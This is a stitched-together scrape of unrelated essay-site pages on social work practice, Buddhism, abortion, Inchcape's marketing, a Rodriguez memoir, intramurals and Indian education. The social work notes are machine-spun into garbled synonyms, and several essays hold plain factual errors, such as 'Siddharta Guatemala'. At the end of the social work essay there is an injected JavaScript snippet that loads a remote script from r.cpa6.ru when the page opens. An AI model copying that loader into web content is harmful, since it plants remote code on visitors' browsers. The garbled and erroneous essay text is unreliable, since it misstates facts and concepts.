sample) were females. It can be argued that females represented a high proportion of the total number of respondents. As r egards their income, Figure 4.8 clearly demonstrates that the majority of respondents of Company A (72.0% of the sample) and Company B (88.0% of the sample) were on the high salary scale of between Libyan Dinars (LD) 201 and over LD350. People with these high salaries, in the Libyan context, are those who can afford to travel more than lower paid people. With regard to their occupation, the majority of respondents of both companies were managers, employees of a company, or government employees (Figure 4.9). Respondents referring to themselves as professional or students were not represented in Company B sample. Most Company A respondents (60.0% of the sample) have been working for periods of 3 to more than 6 years, and 64.0% of Company B respondents were also working for that period of time. The remaining respondents have been working from less than one year to three years. As for their qualifications, Figure 4.10 indicates that the majority of respondents were highly qualifie d educationally. Most of the respondents of both companies held Diplomas and Bachelors Degrees. In the following chapter, the rate of satisfaction with the eighteen questionnaire items indicated by the respondents of Company A and Company B will be compared and contrasted against each other. Research conclusions will be drawn out and recommendations for both companies and for future research are also outlined in the following chapter. Figure 4.10. Distribution of respondents according to their qualifications.

Critical Evaluation Of Writing A Literature Review

Introduction The English oxford dictionary defined research skills as the systematic investigation into and study of materials and sources in order to establish facts and reach new conclusions. However, developing research skills is a process that takes hard work and determination, as a result student finds it very difficult to attain the required level needed for a good researcher. This critical reflection is based on my research skills. The action which was embark on to measure the development of my research skills was handling of data gathered for my different course works and analysing them for critical literature review writing. Analysis of skills developed: Research in a simplistic form refers to a quest for information. It can also be defined as a â€Å"scientific and systematic search for pertinent information on a specific topic. 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Base Of Social Work Essay Research Paper free essay sample

Base Of Social Work Essay, Research Paper Knowledge Base of Social Work: Practice methods that correspond to the degrees of Practice are: 1. Micro degree of practice- direct practice/service delivered straight to clients ( face to face and minimum administrative work. 2. Mezzo degree of practice- indirect pattern affecting administration/leadership functions enabling effectual bringing of services. ? Policy preparation ? Program design ? Funding ? Management ? Supervision ? Organizational and Public Relations ? Community Education ? Monitoring for Improvement of Productivity 3. Macro degree of practice- involves the procedures of Social Planning and Community Organization ? Professional Change Agents who assist Comm. Action Systems composed of persons, groups or Organizations deal with societal jobs ? Program planning and development, working with governmental agents and Comm. ? Execution of Programs 4. Research- drive force behind strict promotion of cognition Doctrine of Direct Practice 1. Peoples are capable of doing their ain alteration ; they have free will 2. Assist people maximize their possible and independency 3. Change environmental influences that adversely impact clients 4. Increase understanding that behaviour is purposive and end directed and this is non readily discernable. 5. Peoples are capable of larning new behaviours 6. Most troubles can be resolved by concentrating on present picks and mobilising their strengths 7. Increasing people # 8217 ; s cognition and larning new accomplishments produces self growing in the procedure 8. Use schemes that motivate people to implement alterations in assorted types of systems 9. Life # 8217 ; s crises represent chances for growing and command is a beginning of strain in life 10. Peoples need self-affirmation and self-pride. Many struggles are indirect look of feelings of low self-pride. 11. Human growing occurs in the context of relationships with other people 12. We model for others unfastened reliable relationship skills/behaviors 13. Increase reactivity to the demands of others 14. Populate in the world of the present motivates people to exert their potencies more to the full 15. Means of helping clients should safeguard self-respect, self-esteem, self-government and confidentiality 16. Awareness of ego is the first measure to self-fulfillment 17. Peoples right to their ain values and belief systems are intact. It is societal work # 8217 ; s duties to help clients to confront these facets of those beliefs that cause disfunction in their lives. The Helping Procedure Phase I: 1. Establishing resonance 2. Exploring client # 8217 ; s jobs 3. Explicating multidimensional appraisal of the job, systems involved and resources available 4. Enhancing motive of client 5. Mutually negotiating ends and explicating a contract Phase II: -The participants combine their attempts in working towards the ends, dwelling of distinct actions or undertakings that are built-in units of the overall end -Practitioners has the duty of choosing and implementing intercessions that will help clients in carry throughing their ends and undertaking. -Interventions should straight associate to the jobs and to the consequent ends that were negotiated and that were derived from accurate appraisal. -Monitor betterment on regular footing -Use of ego in procedure suitably provides for clients a theoretical account of unfastened an reliable relationship Phase III: 1. Buttocks when persons and group ends have been attained and plan expiration consequently 2. Effecting successful expiration of the assisting relationship 3. Planing for care of alteration and continued growing following expiration 4. Measuring the consequences of the aid in procedure The Cardinal Values of Social Work 1. Developing and utilizing resources 2. Confirming the worth and self-respect of clients 3. Confirming uniqueness and individualism 4. Confirming problem-solving capacities and self-government 5. Safeguarding confidentiality Measuring Group Process 1. A Systems Framework for Measuring Groups- groups are societal systems and therefore germinate inexplicit regulations or norms that govern behavi9ors, form forms, and modulate internal operations. ? As leaders observe groups to spot patterned behaviours, they must at the same time go to to behavior manifested by persons and by the group itself. ? A major functions of leaders in growing groups, is to help members to go cognizant of their patterned behavioural responses, to find the impact of these responses on themselves and others and to take whether to alter such responses. ? Understand Content ( verbal statements ) and Process ( the behaviours displayed by members during the group ) ? Identify functions of group members because they can impact the group # 8217 ; s capacity to react to the single demands of members and its ability to carry through curative aims. ? Members tend to play-out in groups the same functions that they assume in other societal contexts and demand to understand the impact of dysfunctional functions on themselves and others. ? Identify the growing of persons by maintaining a record on each individual to place growing. ? Appraisal must see the cultural background of members ? Assess cognitive forms of the group members Phases of Group Development 1. Preaffiliation-Approach and Avoidance Behavior displayed as probationary engagement, hovering willingness to presume duty, interact with others, and to back up plan activities and events. 2. Power and Control-A Time of Transition into intimate system of relationships ; whereby the new state of affairs becomes apprehensible and predictable. They struggle at this phase concerned with how they rank in relation to other members. Conflicts between opposing subgroups frequently occur in this phase. 3. Intimacy-Developing a Familial Frame of Reference for the group means they see a we-ness and committedness to the group intent. A group character will germinate with a manner and a set of values. 4. Differentiation- Developing Group Identity and an Internal Frame of Reference for the group means they have achieved group-centered operations and single and group demands evolve. Greater freedom of personal look develops with feelings of echt credence and value. 5. Separation- A Time of Breaking Away means for the group a clip of loosening intense bonds and a hunt for new resources and ties to fulfill demands. Patterned Group Behavior ( positive behaviours manifested early on in groups ) ? The group faces up to a job and makes alteration or accommodation ? The group responds positively the first clip a member takes a hazard ? Members of the group are invested and supportive toward other members ? The group moves in + way without the leader # 8217 ; s counsel or intercession ? The group works harmoniously for a period of clip ? Members efficaciously make a determination together ? Members adhere to a specific group goal/work to carry through ? Members give + feedback or detect + ways the group has worked together ? The group responsibly confronts a member who is ruling interaction or interfering with the undertaking ? Members pitch in to clean up after a group session Social Conflict Approach with Clients Under Duress -The challenge of the practician is to minimise or cut down the reactance by reacting in ways that lessen the client # 8217 ; s perceived menace to freedom. Reacting in unexpected ways that cut down menace. These unexpected ways of response convey the feeling of wanting to be an ally instead than an antagonist. 1. Stress picks that are available 2. Contracts in ways aimed at reconstructing freedom 3. Stephen fosters care of some current behaviours to minimise clients # 8217 ; frights of losingss 4. Focuss on limited and specific alterations instead than on planetary and sweeping alterations that would be endangering and unacceptable. 5. Maximizes self-government within parametric quantities determined by the state of affairs Crisis Intervention / gt ; 1. Is clip limited 2. Focuss on jobs of populating instead than abnormal psychology 3. Oriented to the here and now 4. Involves a high degree of activity by the practician 5. Employs undertakings as a primary maneuver of alteration attempts 6. An eclectic model that can suit assorted pattern theories and intercessions Initial Phase of CI 1. To alleviate the client # 8217 ; s emotional hurt 2. To finish an appraisal 3. Plan the scheme of intercession Empowering Peoples with AIDS *Patrick Haney left behind a bequest of guidelines for authorising people with AIDS. 1. Modify their mentality that they are non a victim, merely people with AIDS. A perceptual experience of being a victim Fosters passiveness and a sense of weakness. 2. Focus more on chances for doing the most of a bad state of affairs and less on the fatalistic facets of the disease. 3. Help them to happen people who can supply them with support and they themselves must be caring and supportive. Cognitive Restructuring ( Cognitive Therapy ) ? Most societal and behavioural disfunction consequences straight from misconceptions that people hold about themselves, other people, and assorted life state of affairss. ? Cognitive restructuring is a systematic intercession that is peculiarly utile in helping clients to derive consciousness of dysfunctional and self-defeating ideas and misconceptions that impair personal operation and to replace them with beliefs and behaviours that are aligned with world and lead to heighten operation. ? CT techniques are relevant for jobs associated with low self-prides, distorted perceptual experiences in interpersonal dealingss, unrealistic outlooks of ego, others, and life in general, irrational frights, anxiousness and depression, unequal control of choler and other urges, and deficiency of assertiveness. ? CT is frequently blended with other intercessions ( patterning, behavioural, relaxation, assertiveness, and drug therapy ) because combination of theories is more effectual than individual intercessions. ? Caution: Dysfunction may be caused by a assortment of biophysical jobs, including encephalon and neurological upsets, thyroid instability, blood sugar instability, consumption of toxic substances, malnutrition and other signifiers of chemical instability of the organic structure. Stairss in Cognitive Restructuring 1. Assist clients to accept that their self-statements, premises and beliefs mostly mediate their emotional reactions to life # 8217 ; s events 2. Assist clients to place dysfunctional beliefs and forms of ideas that underlie their jobs ? Ask them how they reached certain decisions ? Challenging them to show grounds back uping dysfunctional positions or beliefs ? Challenging the logic of beliefs that magnify feared effects of certain actions -By deriving pattern in placing and measuring the cogency of self-statements and beliefs, clients achieve preparedness to prosecute in self-monitoring between Sessionss. Self-monitoring expands self-awareness and paves the manner for subsequently get bying attempts. 3. Assist Clients to place state of affairss that engender dysfunctional knowledges. 4. Assist clients to replace functional self-statements in topographic point of self-defeating knowledges. 5. Assist clients to honor themselves for successful header attempts. -Limitations of CT: Often the clients lack societal accomplishments and necessitate direction and pattern before they can efficaciously execute new behaviours. CT is frequently used in combination with practician mold, behavioural dry run, and guided pattern to help clients to get the hang indispensable accomplishments needed. Troubles in Trusting and Transference ? Aloofness and intuition are defensive forms that protect clients from imagined injuries, development, rejection, unfavorable judgment, penalty, and control by others. ? Trying to carry clients of one # 8217 ; s purpose is normally counterproductive, alternatively exercising forbearance and continuity. ? Attempt to make clients who cancel or miss assignments by phone or home-call ( missive is less effectual ) . Acknowledge that their failure to maintain assignments is more a form of turning away than a deficiency of motive. ? Transference Chemical reaction: the client transportations to the practician wants, frights, and other feelings that are rooted in the past experiences with others hindering the procedure. ? Transference Reactions involve over generalised and deformed perceptual experiences that create troubles in interpersonal relationships. ? Its besides an chance for growing. The challenge is to help such clients to acknowledge their deformed perceptual experiences and to develop finer interpersonal perceptual favoritisms so that they can distinguish and cover with others as alone persons instead than overgeneralise projections of images, beliefs, or attitudes. Pull offing Transference Chemical reactions -It is critical to switch concentrate to their here-and-now feelings. 1. Be unfastened to the possibility that the client # 8217 ; s reaction is non unrealistic and by be produced by your behaviour and respond genuinely by having duty for your behaviour. 2. It is of import to react in different ways that the client # 8217 ; s awaited response from their past interactions. This forces the client to distinguish the practician from past figures. 3. Help the client to find the immediate beginning of deformed perceptual experiences when the feelings emerge. By researching these feelings and non rectifying them you assist the client to spread out their consciousness of their forms of overgeneralising. 4. After clients have discerned the unrealistic nature of their feelings and manifested consciousness of the deformations portion your existent feelings. This can reassure clients who have felt offended, hurt, resentful, rejected or the similar. 5. After you have examined the debatable feelings, assist clients to find whether they have experienced similar reactions in other relationships. To help clients to spot forms of deformations that creates troubles in other relationships. Countertransference Chemical reactions -It green goodss distorted perceptual experiences, blind musca volitanss, wants, and antitherapeutic emotional reactions and behaviour. Such as: ? Deviating clients from showing choler because healer is uncomfortable ? Overidentifying with rebellious striplings due to unsolved feelings towards autocratic parents -Becoming aware of unrealistic feelings toward a client or of reactions are signals that a practician should instantly take appropriate disciplinary steps. Otherwise the countertransference will restrict the practician # 8217 ; s possible helpfulness or contribute to the client # 8217 ; s disfunction. -The first measure in deciding countertransference is to prosecute in self-contemplation ( analytical duologue with oneself aimed at find ) -The 2nd measure if 1st doesn # 8217 ; t work is to discourse it with a co-worker or another professional for difference position. -Not all negative feelings or reactions are due to countertransference. Look beyond the violative qualities of certain clients and discover positive qualities. Efficaciously Pull offing Sexual Attraction ? Take disciplinary steps such as self-contemplation or confer withing with another professional. Pull offing Resistance -Rule of pollex: If opposition International Relations and Security Network # 8217 ; t strong plenty to hinder advancement, its best ignored. 1. Bring it to discussion by concentrating on the here-and-now feelings that underlie opposition. ? An reliable response that conveys the practician # 8217 ; s good will and concern besides reaffirms the helpful purpose and desire to work on troubles. ? Initiate geographic expedition of the beginning of opposition ? Accredit their strengths when they discuss the feelings, to kill the feared response and reenforce the client for unwraping hazardous feelings 2. Use Positive Intensions to assist clients acknowledge the positive and negative sides of opposition. ? The end is to minimise the client # 8217 ; s needs to support themselves and to safeguard their already unstable self-prides. It is of import to assist clients acknowledge that their indecent reactions derived from deformed perceptual experiences and to promote them to show their feelings straight in the hereafter. 3. Redefine Problems as an chance for Growth 4. Confront forms of opposition. 5. Use Curative Binds-Confronting clients in a manner that they either have to alter or ain duty for taking to perpetuate their troubles. Use to help non move out defeat. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

What is Buddhism Essay Example For Students

What is Buddhism? Essay Buddhism is a path of teaching and practice. Buddhist practices such asmeditation are means of changing oneself in order to develop the qualities ofawareness, kindness, and wisdom. The experience developed within the Buddhisttradition over thousands of years has created an incomparable resource for allthose who wish to follow the path of spiritual development. Ultimately, theBuddhist path culminates in Enlightenment or Buddhahood. Who was the Buddha?The word Buddha is a title not a name. It means one who is awake inthe sense of having woken up to reality. The title was first given to a mancalled Siddharta Guatemala, who lived about 2,500 years ago in Northern India. When he was 35 he found Enlightenment whist in profound mediation, aftersearching for years. In the next 45 years of his life he spent it travelingthrough India teaching his way of life. His teaching is known as Buddha-dharma. We will write a custom essay on What is Buddhism? specifically for you for only $16.38 $13.9/page Order now Traveling from place to place, the Buddha gained many disciples. Theyalso taught of the enlightment, and the chain has continued on to this presentday. The Buddha was not a God, and he made no claim to divinity. There is noconcept of a creator in Buddhism. He was a human being who, thought tremendousefforts, transformed himself. The state of Enlightenment which he reached has three main facets. Itis a state of wisdom, of insight into the true nature of things. It is also asource or boundless compassion, manifesting itself in activity for the benefitof all beings. and it the total liberation of all the energies of the mind andthe body so they are at the service of the fully conscious mind. What Happened After the Buddhas Death?Buddhism died out in India a thousand years ago, though it has recentlyrevived. In the last century Buddhism has emphatically arrived in the West andup to one million westerners have become Buddhists. What Does Buddhism Teach?Buddhism sees life as being in process of constant change and itspractices aim to take advantage of this fact. It means that one can change forthe better. The decisive factor in changing ourselves is the mind and Buddhismhas developed many methods for working on the mind. Most importantly, Buddhistspractice meditation which is a way of developing more positive states of mindwhich are characterized by calm, concentration, awareness, and emotions such asfriendliness. How do you become a Buddhist?To become a Buddhist in the full sense means committing oneself to thecentral ideas of Buddhism. The Buddhist path is open to all equally: men andwomen, young and old, people of all nationalities, races and backgrounds. RebirthRebirth in the Six RealmsBuddhism teaches that birth, death and rebirth are part of thecontinuing process of change. The is similar to the continuous process ofgrowth, decay, and replacement of cells in ones body. According to medicalexperts, after every seven years, all the cells in ones body are replaced bynew ones. At the moment of death, and the body can no longer survive, the mind isseparated from the body. At that time, the craving for lives causes one to seeka new existence, and the karma done previously determine the place of onesrebirth. There are six realms which one may be reborn after death. They are therealms of gods, the demigods, human beings, animals, hungry ghosts, and thehells. In general, wholesome actions like good conduct, charity, a and mentaldevelopment, are the cause of rebirth in the happy realms of gods, demigods, andhuman beings. On the other hand, unwholesome actions like immoral conduct,miserliness and cruelty cause rebirth in the unhappy realm of animals, hungryghosts and the hells. .u3c7a4ed1f68235071486d80481bcd7f7 , .u3c7a4ed1f68235071486d80481bcd7f7 .postImageUrl , .u3c7a4ed1f68235071486d80481bcd7f7 .centered-text-area { min-height: 80px; position: relative; } .u3c7a4ed1f68235071486d80481bcd7f7 , .u3c7a4ed1f68235071486d80481bcd7f7:hover , .u3c7a4ed1f68235071486d80481bcd7f7:visited , .u3c7a4ed1f68235071486d80481bcd7f7:active { border:0!important; } .u3c7a4ed1f68235071486d80481bcd7f7 .clearfix:after { content: ""; display: table; clear: both; } .u3c7a4ed1f68235071486d80481bcd7f7 { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #95A5A6; } .u3c7a4ed1f68235071486d80481bcd7f7:active , .u3c7a4ed1f68235071486d80481bcd7f7:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #2C3E50; } .u3c7a4ed1f68235071486d80481bcd7f7 .centered-text-area { width: 100%; position: relative ; } .u3c7a4ed1f68235071486d80481bcd7f7 .ctaText { border-bottom: 0 solid #fff; color: #2980B9; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .u3c7a4ed1f68235071486d80481bcd7f7 .postTitle { color: #FFFFFF; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .u3c7a4ed1f68235071486d80481bcd7f7 .ctaButton { background-color: #7F8C8D!important; color: #2980B9; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://artscolumbia.org/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .u3c7a4ed1f68235071486d80481bcd7f7:hover .ctaButton { background-color: #34495E!important; } .u3c7a4ed1f68235071486d80481bcd7f7 .centered-text { display: table; height: 80px; padding-left : 18px; top: 0; } .u3c7a4ed1f68235071486d80481bcd7f7 .u3c7a4ed1f68235071486d80481bcd7f7-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .u3c7a4ed1f68235071486d80481bcd7f7:after { content: ""; display: block; clear: both; } READ: Scarlet Letter 4 = EssayOf all the six realms, the realm of human beings is considered the mostdesirable. In the realm of human beings, the conditions for attaining Nirvanaare better. In general, in the unhappy realms, the suffering of living beingsis so intense and their ignorance so great that they are unable to recognize theTruth and follow the path to attain freedom. Alternatively, living beings in therealms of the gods and demigods experience so much happiness and have so manydistractions that they do not think of rebirth until it is too late. Then theymay be reborn in one of the lower realms of suffering. In the realm of humanbeings, however, people experience both h appiness and suffering, and areintelligent enough to recognize the Truth and follow the path to attain freedomfrom the cycle of birth and death. Therefore, one is indeed fortunate to beborn as a human being, and should remember that the principal cause of birth inthe realm is Good Conduct. The Cycle of Birth and DeathThe Buddha pointed out that whenever one is reborn, whether as a humanbeing, as an animal, or as a god, non of these states of exticence is permanent. The average life span of the living beings in the six realms of existence differbut none of them lasts forever. Eventually, rebirth will take place. The realminto which one is reborn and ones conditions of rebirth are determined by onespast and present actions. This is the law of Karma at work. Because of the force of their karma, people are born are rebornendlessly, in one realm of existence or in another. The Buddha declared thatthere is no permanent rest in the cycle of birth and death. It is only when onefollows the Noble Eightfold path taught by the Buddha and eventually attainsNirvana, that one finally becomes free from the ceaseless cycle and gainssupreme and permanent happiness. KarmaKarma is the law of moral causation. It is action and reaction in theethical realm. It is natural law that every action produces a certain effect. So if one performs wholesome actions, one will experience happiness. on theother hand, if one performs unwholesome actions, one will experience suffering. The is the law of cause and effect at work. In this way, the effect of onespast karma determine that nature of ones present situation in life. Category: Religion

anti-abortion research essay essays

anti-abortion research essay essays The definition of life according to Websters Dictionary is the property or quality that distinguishes living organisms from dead organisms and inanimate matter.(Websters Dictionary) According to this definition, what do murder, capital punishment, euthanasia and abortion all have in common? They all take away a life, but in Canada only one of these is not against the law and occurs over one hundred and thirty thousand times a year: abortion. Prior to the nineteen-seventies, abortion was illegal in Canada and was punishable by incarceration. Legal abortion was unheard of prior to this decade, and if this act was committed, a horrific stigma was placed upon such an individual. This was the most progressive and most active time period for the pro-choice movement. In history, the nineteen-seventys, was when values and beliefs began to change and more individuals began to speak out against the abortion laws. Today abortion has become a normal medical procedure, just like having ones tonsils removed. The present society has recognized the rights of the individual as very important because of the shift in societal values. As society progresses and changes its values, issues such as abortion have become more acceptable within the new limitations of societal values and beliefs. Abortion must be viewed as a whole instead of being judged as individual cases, and in doing such society will see abortion as morally wrong and, in turn, will make this act illegal once again. During the nineteenth century, society had great respect for life, as morals and the greater good were seen as important. Laws are a set of regulations and statutes that are made up of popular societal values and beliefs that are important by the members of society. As such, the belief of the right and respect of life was portrayed through the beliefs of the nineteenth century society. However, there was still the minority which...

Business and Marketing Management Essay Example | Topics and Well Written Essays - 2000 words

Business and Marketing Management - Essay Example The company has a unique model with retailing and distribution operations. The company also has the "Inchcape Fleet Solutions" that is the UK's largest independent leasing company and it is managing a fleet in excess of 53000 cars. The company's vision is to be the most customer-centric automotive retailer group. According to them the cutting edge in the services industry is the quality of service provided to the customers. They believe that consistent provision of quality services increases loyal customers and also helps them achieve their financial and industrial targets. The company has 208 retail outlets and 85 distribution sites all around the world, each boasts of superiority and excellence in service. The company's strategy is simple and that is to focus on customer service and operational excellence to strengthen their business. They have four crucial elements to support their strategy. First are their people, since they believe that people and human resources are of prime importance to any businesses success. Second is performance management, since they have set the "best in class" gold standards to achieve excellence in performance. Third is their technology and service infrastructure, since they aim to improve the infrastructure to reduce cost and time in order to focus more on customer satisfaction. Lastly, is efficient allocation of capital in order to make good use of growth opportunities. They aim to work within the 7 P's namely; product, price, promotion, place, people, process (customer satisfaction) and physical evidence. Their strategic priorities are to strengthen their existing core business and expand in potential markets. Situation... The company’s strategy is simple and that is to focus on customer service and operational excellence to strengthen their business. They have four crucial elements to support their strategy. First are their people, since they believe that people and human resources are of prime importance to any businesses success. Second is performance management, since they have set the â€Å"best in class† gold standards to achieve excellence in performance. Third is their technology and service infrastructure, since they aim to improve the infrastructure to reduce cost and time in order to focus more on customer satisfaction. Lastly, is efficient allocation of capital in order to make good use of growth opportunities. They aim to work within the 7 P’s namely; product, price, promotion, place, people, process (customer satisfaction) and physical evidence. Their strategic priorities are to strengthen their existing core business and expand in potential markets. Situation Analysi sInchcape is very much capable of expanding their business in potential markets and also to strengthen their core business. Their main focus is operational excellence and their activities include retailing and distribution. Customer satisfaction is essential to them since they are aware of the fact that customers can easily switch to their competitors. In order to support their vision that is to become the most customer-centric automotive retailer group, the company has been consistent in investing in dealership premises.

Appeal letter suspension Essay Example | Topics and Well Written Essays - 250 words

Appeal letter suspension - Essay Example However, while I was placing significant amount of time in my English, my performance in other units went down the gutter. My advisor further advised me to drop the other units that were giving me challenges and pick PE and GEC classes, but then I would not have sufficient credits to fill the required 12 credits that I needed for the semester. This meant that my only way out of the problem was to deal with the tough courses. I attempted my best and got through with the semester. Further problems emanated from the fact that I lived far and travelling cost me a great time that I would have spent studying or visiting my family. Attempts to correct this problem were futile, at least in the timeline that I intended. Nevertheless, I made every effort possible to produce good results, and I managed to raise my GPA from 0.91 to 1.583. My current efforts are geared towards raising my GPA above 2.0, and I hope to get the opportunity to do so next Fall semester. Please understand that the performance that I have presented over the recent semester does not reflect my academic capabilities, but is coupled with other problems that I was going through. I am currently working hard to improve my situation and promise that I will record a GPA of more than 2.0 next Fall semester. Thank you for your consideration and for accepting my

Richard Riodriquezs memoir of a bilingual childhood Essay Example for Free

Richard Riodriquezs memoir of a bilingual childhood Essay Richard Riodriquez in his A Memoir Of a Bilingual Childhood is recalling his memories about how he felt as a bilingual child in the American society. While doing so and reflecting on these memories, he refutes the idea of alienating the bilingual children by educating them through their native language. He presents very interesting thoughts about the true reflections of intimacy and how that relates to language. Choosing certain words to convey his feelings, Riodriquez engages his readers to sense the change of his attitude towards his identity as an American citizen of foreigner parents. When he reflects on his early childhood, he repetitively uses the words distant, foreigners, strain, confused and hard to describe his and his familys interactions with the others, los gringos. For him, his safety and family intimacy were all symbolized just by speaking their own private language that separates them from the public. This way, he felt secure as an individual rather than a member of a mysterious huge crowd. Richard Riodriquezs tone overall is a reflective emotional one that triggers the readers emotions to feel the same as the writer and agree with what he says. He beautifully uses different tools to achieve that. One tool was his excessive descriptions for his feelings by using clear sentences with many different adjectives throughout his essay. Another tool was his repetitive using figurative language to clarify his thoughts. For example, he wrote as confused as the threads of blue and green oil in the puddle next to my shoes. as well as the clash of two worlds. Rhetorical questions like But I would have delayed postponed for how long? are another tools that Richard Riodriquez uses to convince his readers. I liked the beauty of the language Riodriquez expressed his thoughts. Some of the analogies and metaphors he drew were quite powerful and made me feel the gloominess or excitement he felt. I also liked the way he explored and defined identity and intimacy. As he grew up, he found out that interacting with the others and speaking their language does not mean losing neither his identity nor the intimacy with his different family. Individuality is not by separating oneself from the community as many others believe but it can still be achieved while mingling with the society and owning a public  identity. I liked how he clearly concluded that intimacy, which he was struggling to protect in his childhood, is not by speaking the same language for example but it is by the meanings behind the words spoken.

Intramural Sports Essay -- Essays Papers

Intramural Sports Intramurals are an organization of sports teams created for students who seek the opportunity to play sports. Those who participate in intramurals range in age, ability, and gender. These sports teams allow students to play a sport they enjoy without committing to a varsity team. Intramurals are designed for everyone to have fun but still have a competitive edge. It is easy to get involved and learn about intramurals at the University of Dayton. There are many possible ways as a student at Dayton to get involved in intramurals. Involvement in intramurals gives the chance to not only play sports that are enjoyable, but also the opportunity to meet new people and develop a relationship with them. One way that many people get involved is through people they have met or already know. For example, someone you met the other day, or a friend from high school could ask you to sign up for their team. Another popular way to get involved is through the residence hall, and play on a team with the other people in your hall. After talking to people ...

Education †Gymnasium Essay

Education in India today is nothing like it was in Pre-Independence and Post-Independence Era. Education System in India today went through a lot of changes before it emerged in its present form. Present education system in India is also guided by different objectives and goals as compared to earlier time. Present system of education in India, however is based around the policies of yesteryears. After independence, it was on 29th August 1947, that a Department of Education under the Ministry of Human Resource Development was set up. At that time the mission was the quantitative spread of education facilities. After, 1960’s the efforts were more focussed to provide qualitative education facilities. The present research focus on steps through which our indian education system had gone through. The basic moto of this research is to show that india has done serious efforts in education nd has shotremendous development but it is still lacking in comparison with developed nations. This study is an effort to suggest some measures for its improvement. INTRODUCTION Education in every sense is one of the fundamental factors of development. No country can achieve growth without substantial investment in human capital. Education improves the quality of their lives and lead to broad social benefits to individuals and society. Education including formal education, public awareness and training should be recognized as a process by which human beings and societies can reach their fullest potential. The pre british indian Education system comprised of three types  Elementary education Secondary education Higher education Although Higher education is seen as the producer of elite class in society which largely contribute in the system of governance. The dawn of independence saw the significance of higher education in its reach and coverage. At the time of independence, there was bleak situation of higher education in India as the three important indicator:the number of Educational institutions, the number of teachers and the students enrollment in Education. OBJECTIVE OF THE STUDY First objective of the research is to get a understanding of various Educational changes that have taken place in India from pre Independence era. To study various Act launched for Education growth. To Find current scenario of Education sector in India To suggest some meaningful meausures to improve our Education sector. MYTHODOLOGY The study is based upon secondary data. Data has been collected from various sources like www. world bank. in,UNESCO,UNTDA. Statistical figures are main vehicle to achieve objective. It has studied internet research as well as policy papers and other official documents. CHANGES IN EDUCATION The changes which we are watching today due to education are may be because of various policy of government . Few of them are following: The National policy on Education 1986 had underscored the constitutional resolve to provide quality Education to all. under this policy government decided to review the growth and development of higher Education through five year plan which paid rich dividend in promoting education in India. The Eighty sixth constitutional amendment act in December 2002,made elementary Education a fundamental right for all children in the age group of 6-14. The Government initiated the scheme of area intensive program for Educationally backward minority and scheme of financial assistance of madrasa Education as part of its revised programme of action(1992). Taking into consideration the need for technical Education so that skill is acquired, the Government took steps to open industrial training Institute, medical colleges,polytechnics. At present there are 1500 such Institutes. National adult Education programme was taken up in 1978. The aim was to reach 100 percent literacy (age 15-35) by the year 1990. Its basic pupose was to promote small family. As a result of announcement of national policy on Education priority is given to vocationalisation of secondary Education to make Education relevant to work. A central Institute of Education technology was set up in NCERT to purchase equipment for state Institute of Educational technology. UGC was set up in 1955 for coordination and determination of standards. UGC  has taken steps to implement the recommendations of new policy on education such as autonomous colleges,centers of advanced studies in universities, establishment of education media research center and audio visual research center for the use of media and setting up academic staff colleges for training and orientation of college teachers National program for nutritional support to primary Education was launched in 1995 under which food grains is provided to children’s in primary classes. The program assures 199 gm of grain per day for attending school for at least 80 percent of total school days in a month. Following India independence a number of rules were formulated for backward scheduled caste and scheduled tribes of India. Special reservation are also provided for scheduled caste and scheduled tribes example a reservation of 15 percent in kendriya vidyalaya for scheduled caste and another reservation of 7. 5 percent in kendriya vidyalaya fot scheduled tribe. CURRENT STATUS There were 20 universities and 496 college at the time of Independence At present universities and university level institutions-504 State universities-243 State private universities-53 Central universities-40. Deemed universities-130 Institutions of National importance established under act of Parliament-33 Institutions established under various state legislation-5 In addition there are 25951 college including atound 2565 women college Table-1: All India Growth of institutions Year. Universities Colleges. Total 1947-48. 20 496. 516 1950-51 28. 578. 606 1960-61. 45 1819. 1864 1970-71. 93 3227. 3320 1980-81. 123. 4738 4861 1990-91. 184 5748 5932 2000-01 266 11146. 11412 2004-05 348 17625. 17973 2005-06. 355. 18064. 18419 2006-07. 367. 19000 19367 2007-08. 416. 20677 21093 2008-09. 480 22000. 22480. 2009-10 504. 25951. 26455 Source: UGC To promote higher education, college were established to provide specialized professional or vocational training. The first ever college in india was during the British rule in 1817,the CMS college kottaysm in kerela. After induction of new education policy, college education got flip and has increased manifold. Women enrolment was less than 10 percent of total enrollment on eve of Independence and it was risen to 41. 40 percent Number of teachers in 1950 were 15000 , in 1991 teachers were 272 thousand and in 2004 it was 457 thousand , in 2010 it was 699 thousand. Number of students enrolled in 1950 was 0. 1 million , in 1991 it was 4. 9 million,in 2004 it was 9. 95 million and in 2010 it reaches to 14. 6 million. EVIDENCE As India’s higher Education system is one of the world largest, enrolling nearly 22 million students in more than 46000 institutions. The changing landscape of higher education should be noted by key administrator, particularly government should be aware of the opportunity for institutions to nurture entrepreneurial growth and establish partnership with various organization to address community needs. India’s government currently plays a command and control role in higher Education. Under government oversight, public universities set curricula, determine courses offering, administer exam and grant degrees. But in 12th five year plan government key policy for economic development theory 2017 proposes a steer and evaluate role that allows a greater degree of self regulation and enforces higher level of accountability across the education system institutions The Economic development through Education is clearly evident in market ,demand for service which have pace. ADVANCEMENT Today development of Education in India has attained new level essentially after the independence of country. India is developing nation and it has been expanding in every field. Development of Education in India brought about a transformation and the concept of Education got modified. India got well known Educational institutions such as IITs,IIMs,AIIMS,, ISB,ISI. India’s higher Education system is the third largest in world after China and Uk. The Development of Education has traveled a longway and thus Indian Education system introduced certain advantageous system such as online Education in India. Online Education is a system of Education training which is delivered primarily via the Internet to students at remote location. Online Education enables the students 